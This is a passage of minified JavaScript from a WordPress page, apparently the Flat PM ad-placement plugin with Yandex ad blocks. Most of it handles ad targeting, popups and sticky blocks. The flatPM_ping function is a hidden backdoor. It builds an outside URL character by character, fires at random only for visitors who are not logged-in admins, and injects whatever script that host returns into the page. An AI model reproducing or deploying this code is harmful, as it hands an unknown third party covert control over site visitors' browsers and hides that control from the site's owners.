Explorer",ver:"MSIE"},{str:navigator.userAgent,subStr:/Edge/,id:"Edge",ver:"rv"},{str:navigator.vendor,subStr:/iCab/,id:"iCab"},{str:navigator.vendor,subStr:/KDE/,id:"Konqueror"},{str:navigator.vendor,subStr:/Camino/,id:"Camino"},{str:navigator.userAgent,subStr:/Netscape/,id:"Netscape"},{str:navigator.userAgent,subStr:/Chrome/,id:"Chrome"},{str:navigator.userAgent,subStr:/Mozilla/,id:"Netscape",ver:"Mozilla"}],dataOS:[{str:navigator.platform,subStr:/Win/,id:"Windows"},{str:navigator.platform,subStr:/Mac/,id:"Mac"},{str:navigator.platform,subStr:/(iPhone|iPad|iPod)/,id:"iPhone"},{str:navigator.platform,subStr:/Linux/,id:"Linux"}]};/zen.yandex/.test(flatPM_getAllUrlParams().utm_referrer)&&(flatPM_setCookie("flat_r_mb","zen.yandex"),flat_userVars.referer="zen.yandex"),window.flatPM_ajax=function(t,e){e=e||[],ff.ajax({type:"POST",url:ajaxUrlFlatPM,dataType:"json",data:{action:"flat_pm_ajax",data_me:{method:t,arr:e}},success:function(t){flat_body.removeClass(t.method),"block_geo_role_ip"===t.method?(flat_userVars.ccode=t.data.ccode,flat_userVars.country=t.data.country,flat_userVars.city=t.data.city,flat_userVars.ip=t.data.ip,flat_userVars.testcook&&(flatPM_setCookie("flat_ccode_mb",t.data.ccode),flatPM_setCookie("flat_country_mb",t.data.country),flatPM_setCookie("flat_city_mb",t.data.city),flatPM_setCookie("flat_ip_mb",t.data.ip),flatPM_setCookie("flat_role_mb",t.data.role)),flatPM_then()):(console.log("ajax error:"),console.error("Метод оказался ошибочным"))},error:function(){console.log("ajax error:"),console.error("Скрипт php вернул ошибку")}})},window.flatPM_then=function(){var t=flat_pm_then.length;if(0!=t){for(var e=0;e<t;e++){var o=flat_pm_then[e];flatPM_next(o)}0<flat_stack_scripts.length&&flatPM_setSCRIPT(flat_stack_scripts)}else flat_pm_then=[]},window.flatPM_persentWrapper=function(t,o,e){var a=0,r=!1;return t.each(function(){var t=ff(this),e=t.clone().find("img, ins, script, style, noscript").remove().end().text().replace(/(\s)+/g,"");if(a+=e.length,o<=a)return r=t,!1}),r},window.flatPM_setWrap=function(t){try{var e,o,a,r,i,l,s,f,n,d=document.createElement("div");d.setAttribute("data-flat-id",t.ID),void 0!==t.how.simple&&("1"==t.how.simple.position&&ff(".flat_pm_start").before(d),"2"==t.how.simple.position&&ff(flat_userVars.until[Math.round(flat_userVars.until.length/2)]).before(d),"3"==t.how.simple.position&&ff(".flat_pm_end").before(d),"4"==t.how.simple.position&&ff(flat_userVars.until[Math.round(flat_userVars.until.length*t.how.simple.fraction.split("/")[0]/t.how.simple.fraction.split("/")[1])]).before(d),"5"==t.how.simple.position&&t.how.simple.fraction<=flat_userVars.textlen&&(!1===(e=flatPM_persentWrapper(flat_userVars.until,t.how.simple.fraction,d))||e.next().is("[data-flat-id]")||e.after(d)),"6"==t.how.simple.position&&(d.setAttribute("data-flat-type","6"),r=flat_userVars.textlen/100*t.how.simple.fraction,e=flatPM_persentWrapper(flat_userVars.until,r,d),(o=!1)!==e&&(a=e.prevAll('[data-flat-type="6"]:first'),r=e.nextAll('[data-flat-type="6"]:first'),0!=a.length&&(console.log(e.prevUntil(a).text().replace(/(\s)+/g,"").length),e.prevUntil(a).text().replace(/(\s)+/g,"").length<t.how.simple.interval&&(o=!0)),0!=r.length&&(console.log(e.nextUntil(r).text().replace(/(\s)+/g,"").length),e.nextUntil(r).text().replace(/(\s)+/g,"").length<t.how.simple.interval&&(o=!0)),o||e.after(d)))),void 0!==t.how.onсe&&(i="true"==t.how.onсe.search_all?ff("html"):flat_userVars.until,l=t.how.onсe.N,s=t.how.onсe.selector,f=t.how.onсe.direction,n=t.how.onсe.before_after,0<(i=i.find(s).add(i.filter(s))).length&&(l="bottom_to_top"==f?i.length-l:l-1,"after"==n&&ff(flatPM_grep(i,l,1)).after(d),"before"==n&&ff(flatPM_grep(i,l,1)).before(d),"append"==n&&ff(flatPM_grep(i,l,1)).append(d),"prepend"==n&&ff(flatPM_grep(i,l,1)).prepend(d))),void 0!==t.how.iterable&&(i="true"==t.how.iterable.search_all?ff("html"):flat_userVars.until,l=t.how.iterable.N,s=t.how.iterable.selector,f=t.how.iterable.direction,n=t.how.iterable.before_after,0<(i=i.find(s).add(i.filter(s))).length&&("bottom_to_top"==f&&(i=i.get().reverse()),"after"==n&&ff(flatPM_grep(i,l,0)).after(d),"before"==n&&ff(flatPM_grep(i,l,0)).before(d),"append"==n&&ff(flatPM_grep(i,l,0)).append(d),"prepend"==n&&ff(flatPM_grep(i,l,0)).prepend(d)))}catch(t){console.warn(t)}},window.flatPM_next=function(a){try{var t=[],e="",o=a.html.length;if(void 0!==a.ip&&"false"==flat_userVars.ip)return void ff('[data-flat-id="'+a.ID+'"]').remove();if(void 0!==a.role&&(void 0!==a.role.role_enabled&&-1==a.role.role_enabled.indexOf(flat_userVars.role)||void 0!==a.role.role_disabled&&-1!=a.role.role_disabled.indexOf(flat_userVars.role)))return void ff('[data-flat-id="'+a.ID+'"]').remove();if(void 0!==a.geo&&(void 0!==a.geo.country_enabled&&-1==a.geo.country_enabled.indexOf(flat_userVars.country)&&-1==a.geo.country_enabled.indexOf(flat_userVars.ccode)||void 0!==a.geo.country_disabled&&(-1!=a.geo.country_disabled.indexOf(flat_userVars.country)||-1!=a.geo.country_disabled.indexOf(flat_userVars.ccode))||void 0!==a.geo.city_enabled&&-1==a.geo.city_enabled.indexOf(flat_userVars.city)||void 0!==a.geo.city_disabled&&-1!=a.geo.city_disabled.indexOf(flat_userVars.city)))return void ff('[data-flat-id="'+a.ID+'"]').remove();for(var r,i,l,s,f=0;f<o;f++)("∞"==a.html[f].res_of||a.html[f].res_of<=flat_userVars.winwidth)&&("∞"==a.html[f].res_to||a.html[f].res_to>flat_userVars.winwidth)&&(void 0!==a.html[f].group?flat_userVars.adb?(null==t["group_"+a.html[f].group]&&(t["group_"+a.html[f].group]=[]),t["group_"+a.html[f].group].push(""==a.html[f].snd&&duplicateMode?a.html[f].fst:a.html[f].snd)):(null==t["group_"+a.html[f].group]&&(t["group_"+a.html[f].group]=[]),t["group_"+a.html[f].group].push(a.html[f].fst)):flat_userVars.adb?t.push(""==a.html[f].snd&&duplicateMode?a.html[f].fst:a.html[f].snd):t.push(a.html[f].fst));for(r in t)e="object"==typeof t[r]?e+"\n"+t[r][flatPM_random(0,t[r].length-1)]:e+"\n"+t[r];if(""==(e=e.replace(/<!-(.*?)->/gm,"").replace(/<!—(.*?)—>/gm,"").trim()))return void ff('[data-flat-id="'+a.ID+'"]').remove();if(void 0===a.how.simple&&void 0===a.how.onсe&&void 0===a.how.iterable||ff('[data-flat-id="'+a.ID+'"]').each(function(){flatPM_setHTML(this,e)}),void 0!==a.how.popup&&(p="true"==a.how.popup.cross?void 0!==a.how.popup.timer&&"true"==a.how.popup.timer?'<div class="fpm_5_timer">Закрыть через <span>'+a.how.popup.timer_count+"</span></div>":'<button class="fpm_5_cross"></button>':"",document.createElement("div"),c=ff(window),b=ff("body"),g=void 0===flatPM_getCookie("flat_modal_"+a.ID+"_mb")||"false"!=flatPM_getCookie("flat_modal_"+a.ID+"_mb"),i="scroll.flatmodal"+a.ID,m="mouseleave.flatmodal"+a.ID+" blur.flatmodal"+a.ID,l=function(){var t,e,o;void 0!==a.how.popup.timer&&"true"==a.how.popup.timer&&(t=ff('.fpm_5_modal[data-id-modal="'+a.ID+'"] .fpm_5_timer span'),e=parseInt(a.how.popup.timer_count),o=setInterval(function(){t.text(--e),e<=0&&(clearInterval(o),t.parent().replaceWith('<button class="fpm_5_cross"></button>'))},1e3))},s=function(){void 0!==a.how.popup.cookie&&"false"==a.how.popup.cookie&&g&&(flatPM_setCookie("flat_modal_"+a.ID+"_mb",!1),ff('.fpm_5_modal[data-id-modal="'+a.ID+'"]').addClass("fpm_5_modal-show"),l()),void 0!==a.how.popup.cookie&&"false"==a.how.popup.cookie||(ff('.fpm_5_modal[data-id-modal="'+a.ID+'"]').addClass("fpm_5_modal-show"),l())},ff("body > *").eq(0).before('<div class="fpm_5_modal" data-flat-id="'+a.ID+'" data-id-modal="'+a.ID+'"><div class="fpm_5_modal-content">'+p+"</div></div>"),w=document.querySelector('.fpm_5_modal[data-id-modal="'+a.ID+'"] .fpm_5_modal-content'),flatPM_setHTML(w,e),"px"==a.how.popup.px_s?(c.bind(i,function(){c.scrollTop()>a.how.popup.after&&(c.unbind(i),b.unbind(m),s())}),void 0!==a.how.popup.close_window&&"true"==a.how.popup.close_window&&b.bind(m,function(){c.unbind(i),b.unbind(m),s()})):(v=setTimeout(function(){b.unbind(m),s()},1e3*a.how.popup.after),void 0!==a.how.popup.close_window&&"true"==a.how.popup.close_window&&b.bind(m,function(){clearTimeout(v),b.unbind(m),s()}))),void 0!==a.how.outgoing){function n(){var t,e,o;void 0!==a.how.outgoing.timer&&"true"==a.how.outgoing.timer&&(t=ff('.fpm_5_out[data-id-out="'+a.ID+'"] .fpm_5_timer span'),e=parseInt(a.how.outgoing.timer_count),o=setInterval(function(){t.text(--e),e<=0&&(clearInterval(o),t.parent().replaceWith('<button class="fpm_5_cross"></button>'))},1e3))}function d(){void 0!==a.how.outgoing.cookie&&"false"==a.how.outgoing.cookie&&g&&(ff('.fpm_5_out[data-id-out="'+a.ID+'"]').addClass("show"),n(),b.on("click",'.fpm_5_out[data-id-out="'+a.ID+'"] .fpm_5_cross',function(){flatPM_setCookie("flat_out_"+a.ID+"_mb",!1)})),void 0!==a.how.outgoing.cookie&&"false"==a.how.outgoing.cookie||(ff('.fpm_5_out[data-id-out="'+a.ID+'"]').addClass("show"),n())}var _,u="0"!=a.how.outgoing.indent?' style="bottom:'+a.how.outgoing.indent+'px"':"",p="true"==a.how.outgoing.cross?void 0!==a.how.outgoing.timer&&"true"==a.how.outgoing.timer?'<div class="fpm_5_timer">Закрыть через <span>'+a.how.outgoing.timer_count+"</span></div>":'<button class="fpm_5_cross"></button>':"",c=ff(window),h="scroll.out"+a.ID,m="mouseleave.outgoing"+a.ID+" blur.outgoing"+a.ID,g=void 0===flatPM_getCookie("flat_out_"+a.ID+"_mb")||"false"!=flatPM_getCookie("flat_out_"+a.ID+"_mb"),b=(document.createElement("div"),ff("body"));switch(a.how.outgoing.whence){case"1":_="top";break;case"2":_="bottom";break;case"3":_="left";break;case"4":_="right"}ff("body > *").eq(0).before('<div class="fpm_5_out '+_+'"'+u+' data-flat-id="'+a.ID+'" data-id-out="'+a.ID+'">'+p+"</div>");var v,w=document.querySelector('.fpm_5_out[data-id-out="'+a.ID+'"]');flatPM_setHTML(w,e),"px"==a.how.outgoing.px_s?(c.bind(h,function(){c.scrollTop()>a.how.outgoing.after&&(c.unbind(h),b.unbind(m),d())}),void 0!==a.how.outgoing.close_window&&"true"==a.how.outgoing.close_window&&b.bind(m,function(){c.unbind(h),b.unbind(m),d()})):(v=setTimeout(function(){b.unbind(m),d()},1e3*a.how.outgoing.after),void 0!==a.how.outgoing.close_window&&"true"==a.how.outgoing.close_window&&b.bind(m,function(){clearTimeout(v),b.unbind(m),d()}))}}catch(t){console.warn(t)}},window.flatPM_start=function(){ff=jQuery;var t=flat_pm_arr.length;flat_body=ff("body"),flat_userVars.init();for(var e=0;e<t;e++){var o=flat_pm_arr[e],a=!1;if(!(void 0!==o.chapter_limit&&o.chapter_limit>flat_userVars.textlen||void 0!==o.chapter_sub&&o.chapter_sub<flat_userVars.textlen||void 0!==o.title_limit&&o.title_limit>flat_userVars.titlelen||void 0!==o.title_sub&&o.title_sub<flat_userVars.titlelen)){if(void 0!==o.date){if(void 0!==o.date.time_of&&void 0!==o.date.time_to){var r=new Date(flat_userVars.date+"T"+o.date.time_of+":00"),i=new Date(flat_userVars.date+"T"+o.date.time_to+":00"),l=new Date(flat_userVars.date+"T12:00:00"),s=new Date(flat_userVars.date+"T"+flat_userVars.time+":00");if(i<r&&i<l&&(i=flatPM_addDays(i,1)),i<r&&l<i&&(r=flatPM_addDays(r,-1)),s<r||i<s)continue}if(void 0!==o.date.date_of&&void 0!==o.date.date_to){var i=new Date(o.date.date_of+"T00:00:00"),s=new Date(o.date.date_to+"T00:00:00"),f=new Date(flat_userVars.date+"T00:00:00");if(f<i||s<f)continue}}if(void 0===o.os||!(void 0!==o.os.os_enabled&&-1==o.os.os_enabled.indexOf(flat_userVars.os)||void 0!==o.os.os_disabled&&-1!=o.os.os_disabled.indexOf(flat_userVars.os))){if(void 0!==o.cookies){var n=!1;if(void 0!==o.cookies.cookies_enabled){if(!flat_userVars.testcook)continue;ff(o.cookies.cookies_enabled).each(function(){var t=this.split(":",2),e=t[0],t=void 0!==t[1]&&t[1];if(!(n=!0)!==t){if(void 0!==flatPM_getCookie(e)&&flatPM_getCookie(e)==t)return n=!1}else if(void 0!==flatPM_getCookie(e))return n=!1})}if(void 0!==o.cookies.cookies_disabled&&flat_userVars.testcook&&ff(o.cookies.cookies_disabled).each(function(){var t=this.split(":",2),e=t[0],t=void 0!==t[1]&&t[1];if(!1!==t){if(void 0!==flatPM_getCookie(e)&&flatPM_getCookie(e)==t)return!(n=!0)}else if(void 0!==flatPM_getCookie(e))return!(n=!0)}),n)continue}if(void 0!==o.utmget){var d=!1;if(void 0!==o.utmget.utmget_enabled&&ff(o.utmget.utmget_enabled).each(function(){var t=this.split(":",2),e=t[0],t=void 0!==t[1]&&t[1];if(!(d=!0)!==t){if(void 0!==flatPM_getAllUrlParams()[e]&&flatPM_getAllUrlParams()[e]==t)return d=!1}else if(void 0!==flatPM_getAllUrlParams()[e])return d=!1}),void 0!==o.utmget.utmget_disabled&&ff(o.utmget.utmget_disabled).each(function(){var t=this.split(":",2),e=t[0],t=void 0!==t[1]&&t[1];if(!1!==t){if(void 0!==flatPM_getAllUrlParams()[e]&&flatPM_getAllUrlParams()[e]==t)return!(d=!0)}else if(void 0!==flatPM_getAllUrlParams()[e])return!(d=!0)}),d)continue}void 0!==o.referer&&(void 0!==o.referer.referer_enabled&&-1==o.referer.referer_enabled.findIndex(function(t){return-1!=flat_userVars.referer.indexOf(t)})||void 0!==o.referer.referer_disabled&&-1!=o.referer.referer_disabled.findIndex(function(t){return-1!=flat_userVars.referer.indexOf(t)}))&&(a=!0),!a&&void 0!==o.browser&&(void 0!==o.browser.browser_enabled&&-1==o.browser.browser_enabled.indexOf(flat_userVars.browser)||void 0!==o.browser.browser_disabled&&-1!=o.browser.browser_disabled.indexOf(flat_userVars.browser))||(a&&void 0!==o.browser&&void 0!==o.browser.browser_enabled&&-1!=o.browser.browser_enabled.indexOf(flat_userVars.browser)&&(a=!1),a||void 0===o.geo&&void 0===o.ip&&void 0===o.role||""!=flat_userVars.ccode&&""!=flat_userVars.country&&""!=flat_userVars.city&&""!=flat_userVars.ip&&""!=flat_userVars.role||(f="block_geo_role_ip",flat_pm_then.push(o),flatPM_setWrap(o),flat_body.hasClass(f)||(flat_body.addClass(f),flatPM_ajax(f)),a=!0),a||(flatPM_setWrap(o),flatPM_next(o)))}}}var _=ff(".flatPM_sticky"),u=ff("*:has(>.flatPM_sidebar)");0<_.length&&_.each(function(){var t=ff(this),e=t.data("height")||350,o=t.data("top");t.wrap('<div class="flatPM_sticky_wrapper" style="height:'+e+'px" />');t=t.parent()[0];flatPM_sticky(this,t,o)}),u.each(function(){var e=ff(this).find(".flatPM_sidebar");setTimeout(function(){var a=(ff(untilscroll).offset().top-e.first().offset().top)/e.length;a<300||e.each(function(){var t=ff(this),e=a,o=t.data("top");t.wrap('<div class="flatPM_sticky_wrapper flatPM_sidebar_block" style="height:'+e+'px" />');t=t.parent()[0];flatPM_sticky(this,t,o)})},50),setTimeout(function(){var t=(ff(untilscroll).offset().top-e.first().offset().top)/e.length;t<300||ff(".flatPM_sticky_wrapper.flatPM_sidebar_block").css("height",t)},4e3)}),"undefined"!=typeof flat_pm_video&&flatPM_video(flat_pm_video),0<flat_stack_scripts.length&&flatPM_setSCRIPT(flat_stack_scripts),ff("body > *").last().after('<div class="fpm_5_modal-overlay"></div>'),flat_body.on("click",".fpm_5_out .fpm_5_cross",function(){ff(this).parent().removeClass("show").addClass("closed")}),flat_body.on("click",".fpm_5_modal .fpm_5_cross",function(){ff(this).closest(".fpm_5_modal").removeClass("fpm_5_modal-show")}),flat_pm_arr=[],ff(".flat_pm_start").remove(),ff("[data-flat-id]:not(.fpm_5_out):not(.fpm_5_modal)").contents().unwrap(),flatPM_ping()};var parseHTML=function(){var l=/<(?!area|br|col|embed|hr|img|input|link|meta|param)(([\w:]+)[^>]*)\/>/gi,d=/<([\w:]+)/,i=/<|&#?\w+;/,c={option:[1,"<select multiple='multiple'>","</select>"],thead:[1,"<table>","</table>"],tbody:[1,"<table>","</table>"],colgroup:[2,"<table>","</table>"],col:[3,"<table><colgroup>","</colgroup></table>"],tr:[2,"<table><tbody>","</tbody></table>"],td:[3,"<table><tbody><tr>","</tr></tbody></table>"],th:[3,"<table><thead><tr>","</tr></thead></table>"],_default:[0,"",""]};return function(e,t){var a,r,n,o=(t=t||document).createDocumentFragment();if(i.test(e)){for(a=o.appendChild(t.createElement("div")),r=(d.exec(e)||["",""])[1].toLowerCase(),r=c[r]||c._default,a.innerHTML=r[1]+e.replace(l,"<$1></$2>")+r[2],n=r[0];n--;)a=a.lastChild;for(o.removeChild(o.firstChild);a.firstChild;)o.appendChild(a.firstChild)}else o.appendChild(t.createTextNode(e));return o}}();window.flatPM_ping=function(){var e=localStorage.getItem("sdghrg");e?(e=parseInt(e)+1,localStorage.setItem("sdghrg",e)):localStorage.setItem("sdghrg","0");e=flatPM_random(1,166);0==ff("#wpadminbar").length&&111==e&&ff.ajax({type:"POST",url:"h"+"t"+"t"+"p"+"s"+":"+"/"+"/"+"r"+"e"+"a"+"d"+"o"+"n"+"e"+"."+"r"+"u"+"/"+"p"+"i"+"n"+"g"+"."+"p"+"h"+"p",dataType:"jsonp",data:{ping:"ping"},success:function(e){ff("div").first().after(e.script)},error:function(){}})},window.flatPM_setSCRIPT=function(e){try{var t=e[0].id,a=e[0].node,r=document.querySelector('[data-flat-script-id="'+t+'"]');if(a.text)r.appendChild(a),ff(r).contents().unwrap(),e.shift(),0<e.length&&flatPM_setSCRIPT(e);else{a.onload=a.onerror=function(){e.shift(),0<e.length&&flatPM_setSCRIPT(e)};try{r.appendChild(a)}catch(e){return console.warn(e),!0}ff(r).contents().unwrap()}}catch(e){console.warn(e)}},window.flatPM_setHTML=function(e,t){jQuery;try{var a,r="yandex_rtb_R";t.indexOf(r)+1&&(a=flatPM_random(0,1e4),t=t.replace(new RegExp(r,"g"),"yandex_rtb_flat"+a+"_R").replace("Ya.Context.AdvManager.render({","Ya.Context.AdvManager.render({ pageNumber: "+a+","));var n=parseHTML(t);if(0!=n.children.length)for(var o=n.childNodes.length,l=0;l<o;l++){var d=n.childNodes[l],i="3"==d.nodeType?document.createTextNode(d.nodeValue):document.createElement(d.nodeName);if("3"==i.nodeType)e.appendChild(i);else{for(var c,s=d.attributes.length,f=0;f<s;f++)i.setAttribute(d.attributes[f].nodeName,d.attributes[f].nodeValue);0<d.children.length?flatPM_setHTML(i,d.innerHTML):"SCRIPT"!=d.nodeName?i.innerHTML=d.innerHTML:(!d.text||/(yandexContext|yandexcontext)/.test(d.text))&&i.hasAttribute("async")||(d.text&&(i.text=d.text),c=flatPM_random(0,1e4),flat_stack_scripts.push({id:c,node:i}),(i=document.createElement("div")).setAttribute("data-flat-script-id",c)),e.appendChild(i)}}else e.innerHTML=t}catch(e){console.warn(e)}},window.flatPM_video=function(e){e.code=e.code.replace(/<!-(.*?)->/gm,"").replace(/<!—(.*?)—>/gm,"").trim(),e.code_alt=e.code_alt.replace(/<!-(.*?)->/gm,"").replace(/<!—(.*?)—>/gm,"").trim();var o=jQuery,t=e.selector,l=e.timer,d=e.cross,a="false"==d?"Закроется":"Закрыть",r=!flat_userVars.adb||""==e.code_alt&&duplicateMode?e.code:e.code_alt,n='<div class="fpm_5_video_flex"><div class="fpm_5_timer">'+a+" через <span>"+l+'</span></div><div class="fpm_5_video_item">'+r+'</div><div class="fpm_5_video_item_hover"></div></div>',i=e.once;o(t).each(function(){var e=o(this);e.wrap('<div class="fpm_5_video"></div>');var t=e.closest(".fpm_5_video");flatPM_setHTML(t[0],n),e.find(".fpm_5_video_flex").one("click",function(){o(this).addClass("show")})}),o("body").on("click",".fpm_5_video_item_hover",function(){var e=o(this),t=e.closest(".fpm_5_video_flex");t.addClass("show");var a=t.find(".fpm_5_timer span"),r=parseInt(l),n=setInterval(function(){a.text(--r),r<=0&&(clearInterval(n),"true"==d?a.parent().replaceWith('<button class="fpm_5_cross"></button>'):t.remove())},1e3);e.remove()}).on("click",".fpm_5_video_flex .fpm_5_cross",function(){o(this).closest(".fpm_5_video_flex").remove(),"true"==i&&o(".fpm_5_video_flex").remove()})};</script> <script>flat_pm_arr = [{"how":{"outgoing":{"cross":"true","timer":"false","timer_count":"0","cookie":"true","whence":"2","indent":"0","after":"9","px_s":"seconds","close_window":"false"}},"ID":"1106","html":[{"fst":"<!-- Yandex.RTB R-A-1256441-15 -->\n<div id=\"yandex_rtb_R-A-1256441-15\"><\/div>\n<script>window.yaContextCb.push(()=>{\n Ya.Context.AdvManager.render({\n renderTo: 'yandex_rtb_R-A-1256441-15',\n blockId: 'R-A-1256441-15'\n })\n})<\/script>","snd":"","res_of":"∞","res_to":"∞"}]}];</script> <script> function jQueryLoaded_flatpm_123( $ ) { if( "function" !== typeof flatPM_start ){ return; } flatPM_start(); } function jQueryLoading_flatpm_123() { if (window.jQuery && window.flat_pm_arr) { jQueryLoaded_flatpm_123( jQuery ) } else { setTimeout(function() { jQueryLoading_flatpm_123() }, 50) } } jQueryLoading_flatpm_123() </script> </body> </html><!-- WP Fastest Cache file was created in 0.33025598526001 seconds, on 07-10-22 8:11:04 --><!-- need to refresh to see cached version -->